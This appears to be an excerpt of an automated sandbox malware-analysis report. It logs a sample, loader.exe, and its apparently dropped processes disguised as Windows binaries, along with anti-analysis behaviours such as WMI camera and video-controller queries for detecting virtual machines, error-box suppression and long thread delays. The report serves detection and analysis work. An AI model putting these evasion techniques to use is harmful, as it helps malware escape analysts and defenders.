Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Memory allocated: DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Memory allocated: 1A970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Memory allocated: 1950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Memory allocated: 1B5A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Memory allocated: 1040000 memory reserve \| memory write watch
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Memory allocated: 1ACF0000 memory reserve \| memory write watch
Source: C:\Recovery\conhost.exe	Memory allocated: 1420000 memory reserve \| memory write watch
Source: C:\Recovery\conhost.exe	Memory allocated: 1AF90000 memory reserve \| memory write watch
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Memory allocated: B40000 memory reserve \| memory write watch
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Memory allocated: 1A590000 memory reserve \| memory write watch
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Memory allocated: 1430000 memory reserve \| memory write watch
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Memory allocated: 1B0C0000 memory reserve \| memory write watch
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Memory allocated: 970000 memory reserve \| memory write watch
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Memory allocated: 1A7A0000 memory reserve \| memory write watch
Source: C:\Recovery\conhost.exe	Memory allocated: F60000 memory reserve \| memory write watch
Source: C:\Recovery\conhost.exe	Memory allocated: 1ADA0000 memory reserve \| memory write watch
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Memory allocated: A20000 memory reserve \| memory write watch
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Memory allocated: 1A600000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_006CCE52 sldt word ptr [eax]

0_2_006CCE52

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 599703	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 599500	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 597138	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 593844	Jump to behavior
